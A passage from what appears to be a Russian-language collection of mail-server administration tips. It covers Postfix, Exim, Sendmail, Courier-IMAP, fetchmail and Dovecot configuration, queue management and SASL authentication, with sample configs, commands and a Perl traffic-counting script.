    так пользователю admin разрешили смотреть и читать..
    подробнее man maildiracl
    
    далее
    
       sharedindexinstall
    
    теоретически должна съесть наш файлик и...
    но заявляет что ... /shared.tmp пусто.
    
       cp /usr/local/etc/courier-imap/shared/index /usr/local/etc/courier-imap/shared.tmp
       sharedindexinstall
    
    после этих манипуляций в почтовике обнаруживается shared_folders ТОЛЬКО У ADMIN@EXAMPLE.RU
    и только на чтение. Остальным права не давали и shared_folders они не увидят вообще.
    
    Итак, для появления shared_folders в клиенте необходимо:
    
    1 подправить права у целевой папки
    2 файлик index скормить sharedindexinstall
      ну и наверняка .../rc.d/courier-imap-imapd restart
    
     
    ----* Настройка Postfix для отправки почты через релэй, требующий авторизации   Автор: DREAMER  [комментарии]
     
    Пример настройки работы Postfix через релэй с авторизацией наподобие krasmail.ru:
    
    /etc/postfix/main.cf
    
       relayhost = [krasmail.ru]
    
       # auth_krasmail
       smtp_sasl_auth_enable = yes
       smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
       smtp_sasl_security_options = noanonymous
       smtp_sasl_type = cyrus
       smtp_sasl_mechanism_filter = login
       smtpd_sasl_path = smtpd
    
    /etc/postfix/sasl_passwd
    
       [krasmail.ru]  user:password
    
    и потом 
    
       postmap sasl_passwd
       postfix reload
    
     
    ----* Полезные команды exim (доп. ссылка 1)   Автор: Хостинг Помощь  [комментарии]
     
    Удаление почтового сообщения по ID
       /usr/sbin/exim -v -Mrm ID
    
    Список сообщений в очереди
       /usr/sbin/exim -bp
    
    Число сообщений в очереди
       /usr/sbin/exim -bpc
    
    Удаление "замороженных" сообщений
       /usr/sbin/exim -bp | awk '$6~"frozen" { print $3 }' | xargs exim -Mrm
    
    Принудительная рассылка всей почты в очереди (flush)
       /usr/sbin/exim -qff -v -C /etc/exim.conf &
    
    "Заморозить" почту по email
       /usr/sbin/exiqgrep -i -f email | xargs exim -Mf
    
    Удалить почту по email
       /usr/sbin/exiqgrep -i -f email | xargs exim -Mrm
    
     
    ----* Копирование писем в Exim. (доп. ссылка 1)   Автор: mr-tacitus  [комментарии]
     
    Перейдите в секцию ROUTERS файла конфигурации /usr/local/etc/exim/configure 
    и перед роутером dnslookup добавьте:
    
       archive_all:
       driver = accept
       transport = tr_archive_all
       unseen
    
    В секции TRANSPORTS добавьте:
    
       tr_archive_all:
       driver = appendfile
       maildir_format
       mode = 0660
       mode_fail_narrower = false
       envelope_to_add = true
       return_path_add = true
       directory = /var/mail/archive@domain.com
    
    Перезагрузите Exim. Теперь вся входящая и исходящая почта будет сохраняться 
    в директории /var/mail/archive@domain.com.
    
     
    ----* Проверка подлинности получателя в Sendmail + Exchange Server 2003   Автор: Дачкин Евгений  [комментарии]
     
    Проверка подлинности получателя сообщений
    Sendmail + LDAP_ROUTING + AD + Exchange 2000/2003
    
    Исходные данные:
    
    AD на базе Win 2003, Exchange Server 2003 расположенный в корпоративной сети. 
    Канал Internet и корпоративную сеть разделяет шлюз в DMZ которого располагается 
    почтовый релей - сервер на базе FreeBSD + Sendmail.
    
    Задача:
    
    При попытке отправки письма пользователями Internet пользователям Exchange сервера, 
    проверять подлинность адреса получателя,  тем самым сократив почтовый трафик 
    и избавиться от ненужных NDR (Non-Delivery Report) сообщений.
    
    Действия:
    
    Завести в AD служебную учётную запись, от которой будут осуществляться запросы в LDAP каталог.
    
    Пример:
    
    Пользователь: CN=LDAP_Searcher,OU=Service Accounts,DC=mydomain,DC=com
    Пароль: password
    
    Собрать Sendmail с поддержкой LDAP
    
       # cd /usr/ports/mail/sendmail-ldap/
       # make
       # make install
    
    Проверить корректность фильтра, соединения с сервером LDAP каталога (контроллером домена)
    
    Фильтр:
       (&(|(objectclass=user)(objectclass=group))(proxyAddresses=smtp:myname@mydomain.com))
    
    Пример запроса:
    
       #ldapsearch -L -x -D "CN=LDAP_Searcher,OU=Service Accounts,
          DC=mydomain,DC=com" -w "password" -h "192.168.0.1" -p 389 -s sub -b 
          "DC=MYDOMAIN,DC=COM" -d "0" "(&(|(objectclass=user)
          (objectclass=group))(proxyAddresses=smtp: myname@mydomain.com))"
    
    Где 192.168.0.1 - IP адрес сервера LDAP каталога (контроллера домена).
    
    Результатом работы данной команды мы должны получить полный список всех атрибутов объекта каталога 
    и их значения, соответствующие пользователю или группе, среди smtp 
    адресов которого встречается  myname@mydomain.com.
    
    Исходя из положительного результата, приступаем к конфигурации Sendmail.
    
    Добавляем в файл sendmail.mc следующие 3 строки:
    
    define(`confLDAP_DEFAULT_SPEC', `-h "192.168.0.1" -b "DC=MYDOMAIN,
    DC=COM" -d "CN=LDAP_Searcher,OU=Service Accounts,DC=mydomain,
    DC=com" -MLDAP_AUTH_SIMPLE -P/etc/mail/ldap_pass')dnl
    
    LDAPROUTE_DOMAIN_FILE(`/etc/mail/ldap_route_domains')dnl
    
    FEATURE(`ldap_routing', `null', `ldap -1 -T<TMPF> -v mail -k 
    (&(|(objectclass=user)(objectclass=group))(proxyAddresses=smtp:%0))',`bounce')dnl
    
    Собираем sendmail.cf
    
    /usr/bin/m4 /usr/share/sendmail/cf/m4/cf.m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf
    
    Содаём файл /etc/mail/ldap_pass, содержимым которого является пароль служебной 
    учётной записи LDAP_Searcher в открытом виде. В нашем случае:
    password
    
    Создаём файл /etc/mail/ldap_route_domains, содержимым которого является:
    mydomain.com
    
    Запускаем Sendmail.cf
    
    Внимательно проверяем результат.
    
     
    ----* Подсчет exim трафика с разделением на локальный и мировой   Автор: DelGod  [комментарии]
     
    В файле конфигурации exim пишем:
    
       log_file_path = /var/log/exim/exim-%s-%D.log
       log_selector = +delivery_size +sender_on_delivery +received_recipients
    
    В файл /var/db/ukr_net ложим список украинских сетей
    
    И собствено скрипт для подсчета трафика с разделением на украинский и мировой:
    
    #!/usr/bin/perl -w
    
    my ($nmin, $nmax) = (32,0);
    
    open UKRNETS, "/var/db/ukr_net";
    while (<UKRNETS>) {
      s/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\/([0-9]+)$//;
      $UkrIPs{substr(substr(unpack("B32", pack("N", $1)),24).substr(unpack("B32", pack("N", $2)),24).substr(unpack("B32", pack("N", $3)),24).substr(unpack("B32", pack("N", $4)),24),0,$5)}="$1.$2.$3.$4\/$5";
      $nmin = $5 if $5 < $nmin;
      $nmax = $5 if $5 > $nmax;
    }
    close UKRNETS;
    
    open TRAFF, '/var/log/exim/exim-main-20060122.log';
    while (<TRAFF>) {
      my ($mail_from,$mail_to,$ip,$bytes_in,$bytes_out);
      if      (/^[0-9-]+ [0-9:]+ [A-Za-z0-9]{6}-[A-Za-z0-9]{6}-[A-Za-z0-9]{2} <= ([^\@]+@[A-Za-z0-9-.]+).* H=.*\[([0-9.]+)\].* S=([0-9]+).* for ([^\@]+@[A-Za-z0-9-.]+)$/) {
        $mail_1=$1;
        $mail_2=$4;
        $ip=$2;
        $bytes_in=$3;
        $bytes_out=0;
      } elsif (/^[0-9-]+ [0-9:]+ [A-Za-z0-9]{6}-[A-Za-z0-9]{6}-[A-Za-z0-9]{2} [\=\-\*]\> ([^\@]+@[A-Za-z0-9-.]+).* F=\<([^\@]+@[A-Za-z0-9-.]+)\>.* T=remote_smtp S=([0-9]+).* H=.*\[([0-9.]+)\].*/) {
        $mail_1=$2;
        $mail_2=$1;
        $ip=$4;
        $bytes_in=0;
        $bytes_out=$3;
      }
      if ((defined($ip)) and ($ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/)) {
        my $ipB=substr(unpack("B32", pack("N", $1)),24)."".substr(unpack("B32", pack("N", $2)),24)."".substr(unpack("B32", pack("N", $3)),24)."".substr(unpack("B32", pack("N", $4)),24);
        for ($Ne=$nmax; $Ne>=$nmin; $Ne--) {
          my $ipBin=substr($ipB,0,$Ne);
          if ($UkrIPs{$ipBin}) {
            $m_from{$mail_1}{ukr}{in} +=$bytes_in;
            $m_from{$mail_2}{ukr}{in} +=$bytes_in;
            $m_from{$mail_1}{ukr}{out}+=$bytes_out;
    
            $m_from{$mail_1}{mir}{in} -=$bytes_in;
            $m_from{$mail_2}{mir}{in} -=$bytes_in;
            $m_from{$mail_1}{mir}{out}-=$bytes_out;
            last;
          }
        }
        $m_from{$mail_1}{mir}{in} +=$bytes_in;
        $m_from{$mail_2}{mir}{in} +=$bytes_in;
        $m_from{$mail_1}{mir}{out}+=$bytes_out;
      }
    }
    close TRAFF;
    
    my $i=0;
    foreach $mails (keys %m_from) {
      $i++;
      print "$i $mails 
      in  ukr $m_from{$mails}{ukr}{in}
      out ukr $m_from{$mails}{ukr}{out}
      in  mir $m_from{$mails}{mir}{in}
      out mir $m_from{$mails}{mir}{out}
    ";
    }
    
     
    ----* Как забирать почту с одного ящика и раскладывать локальным пользователям (доп. ссылка 1)   Автор: universite  [комментарии]
     
    Ниже настройки для fetchmail для забора почты с группового почтового ящика 
    и распределения ее по локальным ящикам пользователей.
    
    /usr/local/etc/fetchmailrc
    
      set daemon 905
    
      defaults
      set logfile /var/log/fetchmail/fetchmail.log
    
      poll mx2.yyyyyyy.od.ua
        proto pop3
        envelope X-Envelope-To localdomains yyyyyyy.od.ua
        user "halo"
        pass "qwerty"
        is root
        nokeep
        fetchall
        flush
        smtpaddress smtp.xxxxx.odessa.ua
        fetchdomains yyyyyyy.od.ua
        is "*" = to "*"
        norewrite
        smtphost 127.0.0.1
      ##############
    
    chmod 710 /usr/local/etc/fetchmailrc # выставляем привелегии для конфига
    chown fetchmail:wheel /usr/local/etc/fetchmailrc # выставляем владельца и группу конфига
    echo 'fetchmail_enable="YES"' >> /etc/rc.conf  # прописываем для старта в rc.conf 
    /usr/local/etc/rc.d/./fetchmail start # запускаем демона
    
    set daemon 905  - проверять ящик каждые 905 сек.
    mx2.yyyyyyy.od.ua - имя сервера, откуда почту забираешь
    yyyyyyy.od.ua - твой домен
    halo - логин на ящике и ниже его пароль
    smtp.xxxxx.odessa.ua - smtp провайдера или твой релей
    
    Сортируется по заголовкам "X-Envelope-To"
    
     
    ----* Дублирование доставки почты в Postfix c авторизацией в mysql   Автор: triz0r  [комментарии]
     
    Есть Postfix + авторизация пользователей в mysql. Так вот появилась необходимость почту, 
    приходящую на какой-нить адрес ещё пересылать кому-угодно. Т.е. не форвардить письмо, 
    а именно копию отсылать на нужный адрес. Притом хочется чтобы всё было красиво и понятно.
    
    Решение: 
    
    Postfix ищет virtual_maps в базе mysql
       virtual_maps=hash:/etc/postfix/virtual_maps.cf
    
    virtual_maps.cf содержит запрос который по адресу email выдает alias.  
    Что-то типа такого:
    
       user = postfix
       password = postfix
       dbname = mail
       table = alias
       select_field = goto
       where_field = address
       hosts = 127.0.0.1
    
    На goto идет почта, которая предназначается для address. Т.е. на один физический maildir 
    (или другой конечный пункт) собирается почта от разных алиасов. 
    Проблема в том что при такой конфигурации не сделать так чтобы почта для user@domain.com 
    шла и на alias1@domain.com и на alias2@domain2.com
    
    После анализа того, как механизм Postfix читает возврат от mysql получаем:
    
    Нужно чтобы почта для локального юзера user@domain.com приходила на
    user@domain.com + на mail@domain2.com
    и + ещё куда нить :) При этом везде должна лежать копия. 
    
    Обычно таблица alias содержит вот что:
    
       address goto
       email1   email2
       email3   email2
       ...
       email5   email_other
    
    Надо сделать так.
    
       address   goto
       email     other_email1,other_email2,...
    
    Т.е. через запятую без пробелом указываем все те адреса куда надо послать копию письма. 
    hash:/mysql примет строку и КОРРЕКТНО подставит её куда надо, а сам Postfix нормально 
    всё выставит в очередь сообщений и отправит. Там же указываем адрес локальной доставки. 
    И всё :) Никаких скиптов, procmail и прочей бурды. 
    
    Теперь представьте гибкость и легкость с такими вещами как redirect, forwarding, copy + mysql.
     
    
     
    ----* Авторизация пользователей в postfix с использованием Cyrus-SASL2 и MySQL   Автор: Case Dorsett  [комментарии]
     
    Все делалось на FreeBSD 5.4.
    
    Ставим cyrus-sasl2:
       # cd /usr/ports/security/cyrus-sasl2
       # make -DWITHOUT_NTLP -DWITHOUT_OTP -DWITH_MYSQL install clean
    
    Ставим postfix:
       # cd /usr/ports/mail/postfix
       # make install clean
    
    Появится менюшка, где надо выбрать с поддержкой чего собирать, нам нужно минимум SASL2, 
    жмем ОК и ждем окончания сборки, после:
    в файл /usr/local/lib/sasl2/smtpd.conf пишем следующее (ессно заменить информацию о mysql на свою):
    
       pwcheck_method: auxprop
       auxprop_plugin: sql
       mech_list: sql plain login
       sql_engine: mysql
       sql_hostnames: localhost
       sql_user: postfix
       sql_passwd: <li><li>*
       sql_database: mail
       sql_select: select password from users where login='%u@%r'
       sql_verbose: yes
    
    В /usr/local/etc/postfix/main.cf дописываем:
       broken_sasl_auth_clients = yes
       smtpd_sasl_auth_enable = yes
       smtpd_sasl_local_domain =
       smtpd_sender_restrictions = permit_sasl_authenticated, permit_mynetworks
       smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject
    
       # postfix reload
    
    После наполняем mysql и все.. авторизация проходит..
    
    Таких статей конечно много, но при всем их количестве - ушло 2 дня что бы
    собрать рабочую конфигурацию..
    то в одной статье опечатка, то в другой вообще уже устаревшая информация.. 
    здесь я обобщил просто то, что получилось именно у меня в конкретном случае..
    
     
    ----* Пример боевой конфигурации Postfix   Автор: Вотинцев Сергей А.  [комментарии]
     
    queue_directory = /var/spool/postfix
    command_directory = /usr/local/sbin
    daemon_directory = /usr/local/libexec/postfix
    
    sendmail_path = /usr/local/sbin/sendmail
    newaliases_path = /usr/local/bin/newaliases
    mailq_path = /usr/local/bin/mailq
    setgid_group = maildrop
    manpage_directory = /usr/local/man
    sample_directory = /usr/local/etc/postfix
    
    mail_name = ESMTP
    mail_owner = postfix
    myhostname = domain.ru
    mydomain = domain.ru
    myorigin = $mydomain
    
    virtual_alias_domains = virtual.domain.ru
    virtual_alias_maps = hash:/usr/local/etc/postfix/virtual
    
    inet_interfaces = all
    mydestination = $mydomain, localhost.$mydomain, localhost
    
    mynetworks_style = host
    mynetworks = hash:/etc/mail/popauth
    
    relay_domains =
    
    allow_mail_to_commands = alias
    allow_mail_to_files = alias
    
    local_recipient_maps = hash:/usr/local/etc/postfix/users $alias_maps
    alias_maps = hash:/usr/local/etc/postfix/aliases
    alias_database = hash:/usr/local/etc/postfix/aliases
    header_checks = regexp:/usr/local/etc/postfix/header_checks
    address_verify_map = btree:/usr/local/etc/postfix/verify
    
    unknown_local_recipient_reject_code = 550
    
    in_flow_delay = 1s
    
    smtpd_banner = $myhostname ESMTP
    smtpd_helo_required = yes
    disable_vrfy_command = yes
    strict_rfc821_envelopes = yes
    show_user_unknown_table_name = no
    smtpd_client_event_limit_exceptions =
    smtpd_delay_reject = no
    
    default_process_limit = 50
    smtpd_client_connection_count_limit = 15
    smtpd_client_connection_rate_limit = 10
    smtpd_client_message_rate_limit = 5
    anvil_rate_time_unit = 30s
    smtpd_recipient_limit = 5
    smtpd_recipient_overshoot_limit = 5
    
    local_destination_concurrency_limit = 2
    default_destination_concurrency_limit = 10
    
    message_size_limit = 5242880
    mailbox_size_limit = 26214400
    header_size_limit = 51200
    
    smtpd_timeout = 30s
    smtpd_junk_command_limit = 5
    smtpd_error_sleep_time = 10s
    smtpd_soft_error_limit = 3
    smtpd_hard_error_limit = 5
    
    hopcount_limit = 5
    
    smtpd_etrn_restrictions = reject
    smtpd_reject_unlisted_recipient = yes
    smtpd_reject_unlisted_sender = yes
    address_verify_sender = abuse
    
    smtpd_client_restrictions = check_client_access hash:/usr/local/etc/postfix/access,
    			    reject_rbl_client relays.ordb.org,
    			    reject_rbl_client list.dsbl.org,
    			    reject_multi_recipient_bounce,
    			    reject_unauth_pipelining
    			    
    smtpd_helo_restrictions = reject_unknown_hostname,
    			    reject_invalid_hostname,
    			    reject_non_fqdn_hostname
    
    smtpd_recipient_restrictions = reject_non_fqdn_recipient,
    				reject_unknown_recipient_domain,
    				reject_unlisted_recipient,
    				permit_mynetworks,
    				reject_unauth_destination
    
    smtpd_sender_restrictions = reject_non_fqdn_sender,
    			    reject_unknown_sender_domain,
    			    reject_unlisted_sender,
    			    permit_mynetworks,
    			    check_sender_access hash:/usr/local/etc/postfix/sender,
    			    reject_unverified_sender 
    
     
    ----* Использование pop-before-sendmail.patch для popa3d и Postfix   Автор: Вотинцев Сергей А.  [комментарии]
     
    Последовательность действий для установки POP Before SMTP на popa3d + Postfix 
    
    1: cd /usr/ports/mail/popa3d
    2: make
    3: cd work/popa3d-popa3d-1.0
    4: cp ../../files/pop-before-sendmail.patch pop-before-sendmail.patch
    5: patch < pop-before-sendmail.patch
    правим если нужно params.h
    6: make
    7: cd ../../
    8: make install && make clean
    9: cd /etc/mail/ && touch popauth && postmap popauth
    
    Правим main.cf:
    10: mynetworks = hash:/etc/mail/popauth
    11: postfix reload
    
    Правим inetd.conf
    12: pop3    stream  tcp     nowait/10/5/2  root    /usr/local/libexec/popa3d   popa3d
    
    перезапускаем inetd.
    
     
    ----* Как перезапустить очередь в postfix   Автор: Nikolaev D./  [комментарии]
     
    Иногда после изменений в конфигурации необходимо перезапустить очередь
     что бы сообщения в очереди начали обрабатываться заново:
       postsuper -r ALL
    
    Для очистки очереди:
       postsuper -d ALL
    
     
    ----* Почему при обработке почты скриптом в Postfix возникает "mail forwarding loop"   [комментарии]
     
    Для предотвращения эффекта игры в "пинг-понг" Postfix добавляет к
    каждому полученному сообщению заголовок "Delivered-To:" (изменить
    подобное поведение можно через директиву prepend_delivered_header, но
    крайне не рекомендуется, из-за возможности появления замкнутых петель).
    
    Если письмо обрабатывает скрипт и затем пересылает на другой email
    (например, менеджер почтовых рассылок), оставив поле "Delivered-To:"
    в неизменном состоянии, то ложно срабатывает защита.
    
    В качестве решения рекомендуется вырезать заголовок "Delivered-To:"
    на этапе получения письма в скрипте.
    
    Например:
        while (<STDIN>){
            if (! /^delivered-to:/i){
                ....
            }
        }
    
     
    ----* Как обеспечить работу SMTP сервера при dial-up соединении   [комментарии]
     
    - Диалап с фиксированным IP;
    - MTA провайдера должен быть MX'ом для domain.com (с прописанным почтовым
    рутингом и "hold" спулом);
    - После выхода в сеть, посылаем команду "ETRN domain.com", которая приведет к инициированию 
    процесса отправки сообщений из спула для domain.com:
       echo -e "HELO dial.domain.com\nETRN domain.com\nQUIT\n"| nc relay.domain.com 25
    
     
    ----* Как удалить письмо из очереди Postfix   [комментарии]
     
    postsuper -d <id> deferred (-d ALL - удалить все сообщения из очереди)
    Для удаления группы писем от определенного адресата, можно использовать:
      mailq|grep 'test@test.ru'|awk '{print $1}'|xargs -J{} -n1 postsuper -d {} deferred
    
     
    ----* Как в postfix осуществить преобразования UUCP формата email адреса или внести изменения в адрес.   [комментарии]
     
    man 5 canonical (см. canonical_map, recipient_canonical_maps,  sender_canonical_maps)
    main.cf:
       canonical_maps = regexp:/etc/postfix/canonical_regexp
    canonical_regexp:
       /^.*!(.*)!(.*)$/        $2@$1
       /^([^!]+)!([^@]+)@.*$/  $2@$1
    Преобразуем из вида uutest6!uutest6.uucp.test.ru!user318 в вид user318@uutest.uucp.test.ru
    
     
    ----* Как организовать в sendmail пересылку всей почты (или для выбранных доменов) только через определенный релей.   [комментарии]
     
    в sendmail.cf: DSesmtp:[relay.somehost.ru]
    или для m4 скриптов:
        define(`SMART_HOST',`relay.somehost.ru')dnl
    или для игнорирования MX значения (далее в квадратных скобках):
        define(`SMART_HOST',`[relay.somehost.ru]')dnl
    Для описания пути транспортировки почты (почтового роутинга) для определенных доменов:
    FEATURE(`mailertable', `hash /etc/mail/mailertable')dnl
    /etc/mail/mailertable
    domain1         esmtp:relay1.somehost.ru
    domain2         smtp:[relay2.somehost.ru]
    
     
    ----* Как в postfix настроить маршрутизацию почты в обход значения MX   [комментарии]
     
    Для отправки почты для test.ru только через relay2.test.ru в обход MX:
      main.cf:
          transport_maps = hash:/usr/local/etc/postfix/transport
      transport:
          test.ru :[relay2.test.ru]                           
    Для того чтобы всю почты пересылать через релэй, 
    нужно использовать в main.cf опцию relayhost
    
     
    ----* Как в postfix и sendmail перенаправить почту для несуществующих пользователей на определенный email ?   [комментарии]
     
    Postfix:
        luser_relay = vasia@pupkin.org
    Или, для виртуального домена в virtual, перенаправим всю почту для домена
    test.ru на vasia@pupkin.org, в viruals :
       test.ru test.ru
       @test.ru     vasia@pupkin.org
    Sendmail, используя m4:
        define(`LUSER_RELAY',`mail.somehost.ru')  # перенаправление на почтовый сервер
        define(`LUSER_RELAY',`local:pupkin') # перенаправление локальному пользователю.
    
     

       Безопасность и установка ограничений

    ----* Вариант конфигурации exim в непривилегированном режиме   Автор: Pavel Samsonov  [обсудить]
     
    Заметка написана с целью поделиться опытом о использовании почтового сервера
    exim  в непривилегированном режиме. Мы используем Exim версии 4.69,
    операционную систему: Slackware Linux 13.0. В главе 51 "Обсуждение
    безопасности" спецификации Exim MTA обсуждаются варианты запуска exim в
    непривилегированном режиме.
    
    Вариант, который использую я, чуть отличается.
    
    Начнём с рассмотрения конструкции и разрешений пользовательского почтового ящика или каталога.
    Пользовательский почтовый ящик формата Mbox. Владелец почтового ящика -
    пользователь, группа - mail.
    Разрешения на почтовый ящик rw-rw----. Таким образом доступ на запись/чтение в
    почтовый ящик имеют владелец и группа mail.
    Группа mail будет использоваться для доставки почты в почтовые ящики.
    Драйвер append_file у Exim не умеет режим доступа к файлу Mbox rw--w--w-.
    
    Почтовый каталог формата Maildir. Владелец почтового каталога - пользователь, группа - mail.
    Доставленные в почтовый каталог файлы писем будут иметь разрешения mail:mail rw-r--r--.
    Доставленными файлами писем пользователь не владеет - владельцем остаётся
    пользователь доставки, но имеет доступ на чтение и перемещение файлов писем.
    На подкатлоги new и tmp нужно выставить разрешение на запись для группы mail,
    для подкаталога cur это необязательно.
    
    Теперь рассмотрим конструкцию очереди Exim:
    Я выбрал разрешения на все подкаталоги очереди одинаковые: root:mail rw-rw----.
    Exim создаёт файлы и каталоги в своей очереди с разрешениями rw-rw---- и
    rwxrwx--- соответственно, это настраивается в Makefile при сборке exim.
    
    Запускать exim можно от пользователя root с изменением привилегий процессов
    exim на mail:mail установкой в конфигурационном файле опций exim_user = mail,
    exim_group = mail.
    Можно если требуется запустить exim от пользователя mail, для этого нужно
    обеспечить возможность открытия привелегированного сетевого порта.
    В Linux это можно обеспечить установкой возможности (capabilitie)
    cap_net_bind_service на исполняемый файл exim.
    
    Дополнительно я устанавливаю опцию deliver_drop_privileges в конфигурационном файле.
    Исполняемому файлу exim назначены группа и владелец mail и root соответственно,
    разрешения rwxrwxr-x, установлен setgid бит.
    
    Вариант маршрутизатора и транспорта для доставки в mbox:
    
       local_delivery_router:
        driver = accept
        check_local_user
        domains = +local_domains
        transport = local_delivery
        user = $caller_uid
        group = mail
    
       local_delivery_transport:
        driver = appendfile
        file = /var/mail/$local_part
        delivery_date_add
        envelope_to_add
        return_path_add
        check_owner = false
        check_group = false
        file_must_exist = true
        user = $caller_uid
        group = mail
        mode = 660
    
    Вариант маршрутизатора и транспорта для доставки в maildir:
    
       maildir_router:
        driver = accept
        check_local_user
        domains = +local_domains
        transport = maildir_transport
        user = $caller_uid
        group = mail
       
       maildir_transport:
        driver = appendfile
        maildir_format = true
        directory = $home/Mail/
        delivery_date_add
        envelope_to_add
        return_path_add
        user = $caller_uid
        group = mail
        mode = 644
        check_owner = false
        check_group = false
        create_directory = false
       
    Переменная $caller_uid имеет значение uid пользователя, запустившего exim для доставки сообщения.
    Для писем, принятых по smtp это пользователь exim_user = mail.
    Для писем, доставляемых обработчиком очереди это пользователь exim_user = mail.
    
    При отправке пользователями писем с консоли например утилитой Heirloom mailx,
    пользователи получают право использовать привилегии группы mail при исполнении
    файла exim с помощью установленных setgid бита и группы mail на исполняемый
    файл exim.
    При этом отправляемое письмо может помещаться в очередь exim или немедленно доставляться локально.
    Владелец и группа файла письма в очереди и, возможно в почтовом каталоге
    назначения - $caller_uid:mail.
    Также создаётся файл журнала письма с владельцем и группой $caller_uid:mail и
    разрешениями rw-rw----.
    В процессе доставки письма exim пытается менять владельца файла журнала письма
    предположительно на exim_user = mail.
    В рассматриваемой конфигурации для писем, отправляемых пользователями из
    консоли, он этого сделать не может и это вызывает ошибку доставки.
    Смену владельца файла журнала письма приходится отключить изменением исходного
    кода exim. Другого способа я не нашёл.
    Владельцем файла журнала письма в этом случае останется пользователь-отправитель.
    
    Возможно имеет смысл помещать все отправляемые письма в очередь. Для этого
    можно установить в конфигурационном файле опцию queue_only.
    
    Возможно имеет смысл ограничить возможность отправки писем по smtp только
    пользователями группы mail.
    Это вызвано сложностью контроля e-mail адреса отправителя с сетевого многопользовательского хоста.
    В Linux это можно сделать на уровне сетевого фильтра по gid mail.
    
     
    ----* Подключение виртуальной базы пользователей к Dovecot с CRAM-MD5 аутентификацией (доп. ссылка 1)   [комментарии]
     
    Для того чтобы не хранить базу виртуальных пользователей с открытыми паролями
    можно использовать в Dovecot механизм аутентификации CRAM-MD5.
    
    Для включения  CRAM-MD5 аутентификации в /etc/dovecot.conf необходимо привести конфигурацию к виду:
    
       default_mail_env = maildir:/var/spool/vhosts/%d/%n
       auth_mechanisms = plain DIGEST-MD5 CRAM-MD5
       auth_verbose = yes
       auth default {
          mechanisms = plain cram-md5
          passdb passwd-file {
          args = /etc/dovecot/passdb
       }
       userdb static {
          args = uid=virtual gid=virtual /etc/dovecot/userdb
       }
    
    
    В директории /etc/dovecot создаем два файла: passdb с паролями и userdb со
    списком пользователей и расположением их виртуальных аккаунтов.
    
    Пример содержимого userdb:
    
       tom@example.com::510:510::/var/spool/vhosts/example.com/:/bin/false::
     
    Пример passdb:
    
       tom@example.com:{HMAC-MD5}e02d374fde0dc75a17a557039a3a5338c7743304777dccd376f332bee68d2cf6
    
    Для формирования HMAC-MD5 хэша на основе открытого пользовательского пароля
    необходимо использовать утилиту dovecotpw:
    
       # dovecotpw
       Enter new password:
       Retype new password:
       {HMAC-MD5}e02d374fde0dc75a17a557039a3a5338c7743304777dccd376f332bee68d2cf6
    
     
    ----* Создание ограничений входящей и исходящей почты в Postfix для определенных пользователей (доп. ссылка 1)   Автор: Резников Алексей  [комментарии]
     
    Ситуация:есть Postfix выставленный в Интернет,который допустим выступает шлюзом для Exchange в LAN.
    Задача: разрешить отправку почты в Интернет и обратно только определенным пользователям. 
    Выход: используем классы разрешений, Postfix restriction classes.
    
    
    Создаем два класса users_out для исходящих писем,users_in соответственно для входящих.
    
       smtpd_restriction_classes = users_out, users_in
    
    В классах будут проверятся пользователи которым разрешено отправлять и получать почту,
    именно этим и занимаются правила check_*_access
    
       users_in = check_recipient_access hash:/etc/postfix/users, reject
       users_out = check_sender_access hash:/etc/postfix/users, reject
    
    В smtpd_*_restrictions указываем проверку на наш почтовый домен domain.ru 
    к которому будет  применяться созданные классы.
    
       smtpd_sender_restrictions = check_sender_access hash:/etc/postfix/senders
       smtpd_recipient_restrictions = permit_mynetworks,
                                  check_recipient_access hash:/etc/postfix/destinations,
                                  reject_unauth_destination
    
    Файл destinations с нашим доменом и указанием классов которые будут применятся к ним у
    
       domain.ru         users_in
    
    Содержимое файла senders
    
       domain.ru         users_out
    
    Файл users со списком пользователей которым разрешено отправлять и получать почту
    
       test@domain.ru        OK
       boss@domain.ru        OK
       billy@domain.ru       OK
    
    Итог: Имеем конфигурацию с помощью которой можем разрешать пересылку
    определенным пользователям на определенные наши домены.
    
     
    ----* Настройка SASL аутентификации для Postfix   Автор: Астафьев Григорий  [комментарии]
     
    Статья о том как сделать sasl на postfix'е и убедиться в его работоспособности.
    
    Задача:
    
    Установить sasl и postfix и сделать авторизацию вида:
    1) отправлять письма могут только пользователи системы (/etc/passwd).
    2) все остальные не пропускать.
    
    Система: FreeBSD 7.0
    
    
    Установка:
    
    1) /usr/ports/secutiry/cyrus-sasl2
    
       [+] AUTHDAEMOND
       [+] LOGIN
       [+] PLAIN
    
       make install clean
    
    (если программы уже были установлены то повторно вызвать меню опций при
    установке можно командой make config)
    
    2) /usr/ports/security/cyrus-sasl2-saslauthd
    
        make install clean
    
    3) создаем и редактируем /usr/local/lib/sasl2/smtpd.conf:
    
       pwcheck_method: saslauthd
       mech_list: plain login
    
    далее добавляем в /etc/rc.conf:
    
       saslauthd_enable="YES"
       saslauthd_flags="-a pam"
    
    4) Теперь постифкс 
       /usr/ports/mail/postfix
       [+]SASL2
    
       make install clean
    
    при установке на все вопросы ответить утвердительно "y"
    
    5) теперь мини-рабочий конфиг постфикса:
    
    /usr/local/etc/postfix/main.cf
    
       queue_directory = /var/spool/postfix
       command_directory = /usr/local/sbin
       daemon_directory = /usr/local/libexec/postfix
       mail_owner = postfix
       myhostname = host.domain.ru
       mydomain = domain.ru
       mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain
       smtpd_sasl_auth_enable = yes
       smtpd_security_options = noanonymous
       smtpd_client_restrictions =
        permit_sasl_authenticated,
        reject_plaintext_session
       smtpd_sender_restrictions =
        permit_sasl_authenticated,
        reject_plaintext_session
    
    
    (!!! Внимание, господа, эта статья требует чтобы в конфиге postfix не было упоминаний mynetworks)
    
    6) Теперь просто в консоли из под рута 
    
       newaliases
    
    эта команда создаст файл /etc/aliases.db необходимый для постфикса
    
    7) Для тестирования желательно иметь php на машинке потому как sasl механизм
    login и plain используют
    технологию шифрования base64 и для обработки "руками" логина и пароля нужно будет написать скриптик:
    
       <?php
       print base64_encode("логин");
       print "\n";
       print base64_encode("пароль");
       print "\n";
       ?>
    
    P.S. (Кому интересно plain это base64_encode("логин\0логин\0пароль");)
    
    тоже самое на Perl:
    
       perl -e 'use MIME::Base64; print encode_base64("логин") . "\n" .encode_base64("пароль"). "\n"'
    
    
    8) Перезагружаем postfix
    
    
    Тестирование SASL.
    
    1) тестирование "руками":
    
       telnet айпиадрес 25
    
